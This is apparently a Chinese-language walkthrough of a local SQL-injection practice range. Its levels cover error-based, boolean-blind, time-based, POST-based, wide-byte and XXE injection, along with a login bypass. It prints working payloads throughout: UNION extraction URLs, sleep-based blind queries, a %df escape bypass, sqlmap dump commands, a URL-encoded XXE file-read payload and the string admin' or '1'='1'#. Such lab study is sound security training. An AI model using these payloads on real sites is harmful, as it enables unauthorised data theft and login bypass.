附上下载链接:(内附安装教程)
链接: https://pan.baidu.com/s/1WlKzFXsNkfkzzCUR_PYtfA
提取码: jcaa
看题目意思就知道是注入,还是报错注入
打开页面:
id肯定有问题,
后面经过尝试,发现怎么弄都不行,后面找到了解决方法
切换一下版本
之后,在id后接入单引号,报错:
ok,报错注入,最基本的一种
直接套路来
id=1’ order by 2%23成功
id=1’ order by 3%23失败
ok,查询结果为两列
接下来找回显的位置:
有了回显,好办多了
继续走,基本模板,毫无套路可说
http://192.168.80.128/control/sqlinject/manifest_error.php?id=1%27union%20select%201,database()%23
http://192.168.80.128/control/sqlinject/manifest_error.php?id=1%27union%20select%201,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%23
http://192.168.80.128/control/sqlinject/manifest_error.php?id=1%27union%20select%201,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27flag%27%23
http://192.168.80.128/control/sqlinject/manifest_error.php?id=1%27union%20select%201,group_concat(flag)%20from%20flag%23
emmm,题目貌似有点简单,不过看着覆盖面好像挺广的
就当作是巩固自己的基础知识吧,久了没手工注入,
连最基本的注入语句都差点忘了
盲注的一种嘛,就不多说了
手工注入也行,不过时间可能会花费很多
用脚本跑也行,这个也差不多吧,
用bp貌似也可以
还有sqlmap跑也可以
布尔盲注其实还是挺简单的
打开页面,发现题目和第一关是一样的不过flag貌似不同
利用and 1=1和and 1=2判断
确实存在布尔注入,
可以利用很多函数来进行查询
ascii、mid、substr、ord等等可以剪切字符串的函数来进行操作
一切都是花里胡哨,
手工过程太过复杂,就不去说了,大体和我之前做的一道ctf题目差不多
MOCTF 简单注入
过程差不多,就是数据库不同,表不同,而且这个没过滤,更加简单
当然最快捷还是sqlmap跑,命令如下:
sqlmap -h 查看相关参数
sqlmap -u 目标网址 判断网站数据库类型
sqlmap -u 目标网址 --dbs 查看存在的数据库
sqlmap -u 目标网址 --tables -D 数据库名 查看指定数据库中存在的表
sqlmap -u 目标网址 --columns -T 表名 -D 数据库名 获取表中的字段
sqlmap -u 目标网址 --dump -C 字段名称 -T 表名 -D 数据库名 查看表里存储的内容
最后的flag:fdsafsdfa
延时注入主要针对页面无变化,无法用布尔真假判断,无法报错的情况下注入
而且学会利用还得需要知道几个函数,我觉得玩过sqli的小伙伴肯定知道这些东西,啊哈哈哈哈
sleep() 延时
if(condition,ture,fales) 条件语句
ascii() 转换成ascii,上面的布尔注入有时也会用到
substring("string",strart,length) 从哪开始取几位,上面的布尔注入有时也会用到,mid()也一样
ok,页面还是没变化,肯定是代码发现了变化
输入id=1%27%20and%20sleep(5)%20%23
页面明显发现变化,而且能明显感受到页面延时
因为我们知道数据库为webug,所以直接测试:
id=1%27%20and%20sleep(if(database()="webug",0,5))%23
没毛病,页面没有延时,否则出现五秒延时,ok,确实存在延时注入
同样和布尔注入差不多,也是盲注的一种,
通过1' and if(ascii(substr(database(),1,1))=xxx,sleep(3),1) %23
一个字符一个字符去猜测库名,表名等!
手工太过繁琐,脚本也行,工具也行,这就不再啰嗦了,
各位就亲自去尝试吧,反正与布尔注入差不多
flag:gfdgdfsdg
进入发现一个搜索框,怀疑就是注入点
进行测试,输入单引号,发现报错,果然存在注入点
经过测试发现,没有任何回显~~
怀疑是盲注,经过测试发现1' or sleep(3)#
有延时
很显然,又是一个延时注入,只不过这里传递的方式是POST
步骤与第三关的差不多,就不再多说了!
flag:dsfasdczxcg
进入发现页面与第四关一样
根据题目提示,可能过滤了什么东西,以为是sleep过滤了
结果发现并没有,空格也没有过滤,if也没有过滤
emmm,不就和上一关一样吗???
去看看源码,嘻嘻嘻嘻
结果发现,他过滤了select,,,,,
emmm,貌似都不算过滤,相当于没有,这算个什么事啊
只有单独输入select才会弹出不要尝试注入
既然如此那就没什么好说的,就是与第四关一样了,,,,
flag:safsafasdfasdf
这个宽字节就和报错注入差不多,很典型的一道sql注入的题目,最经典的,没有任何花里胡哨
就和下面这个差不多
墨者学院之SQL注入漏洞测试(宽字节)
由于单引号被/转义了,所以我们需要加上%df,字符%bf在满足上述条件的情况下会变成%bf’。
其中反斜杠(\)的十六进制编码是%5C,单引号(’)的十六进制编码是%27
那么就可以得出%bf '=%bf%5c%27
如果程序的默认字符集是GBK等宽字节字符集,
则MySQL会认为%bf%5c是一个宽字符,也就是“縗”
也就是说%bf ‘=%bf%5c%27=縗’
输入id=1%df%27union%20select%201,2%20%23
,发现回显在第二列上
ok,接下来步骤就和第一关一摸一样了(只要在单引号前面加上%df即可),不在赘述
flag:dfsadfsadfas
第一次接触xxe的注入,必须记录一下,看了下面这篇大佬的文章
XXE注入详解
这个题的注入估摸着应该是最简单的任意文件读取
随便输入,都会出现:
使用bp进行抓包!!!
先在C盘下创建一个文件1.txt:
接下来构造一下payload:
]>
&content;
由于存在换行,所以转化为URL编码:
%3c%3f%78%6d%6c%20%76%65%72%73%69%6f%6e%3d%22%31%2e%30%22%3f%3e%0a%3c%21%44%4f%43%54%59%50%45%20%41%4e%59%20%5b%0a%20%20%20%20%3c%21%45%4e%54%49%54%59%20%63%6f%6e%74%65%6e%74%20%53%59%53%54%45%4d%20%22%66%69%6c%65%3a%2f%2f%2f%63%3a%2f%31%2e%74%78%74%22%3e%0a%5d%3e%0a%3c%6e%6f%74%65%3e%0a%20%20%20%20%3c%6e%61%6d%65%3e%26%63%6f%6e%74%65%6e%74%3b%3c%2f%6e%61%6d%65%3e%0a%3c%2f%6e%6f%74%65%3e%20%20%20%20%20
通过post传参
得到文件中的内容:
emmm,这题应该就是这样做的,不过我不知道flag在哪个文件中,,,,
先记录着,xxe漏洞这个东西虽说现在很少存在,但是还是要学的,先留个坑吧
emmm,这个题不知道是不是环境没有搭好,还是我不会用,,,,
什么都看不见,也不能导出,无奈,放弃~~
不过,还是去搜索看了一下CSV注入
浅谈CSV注入漏洞
账号密码都是admin,不过万能密码就是:
账号:admin’ or ‘1’=‘1’#
密码随便都行,这就不用多说了,so easy!!!
OK,注入篇完结~~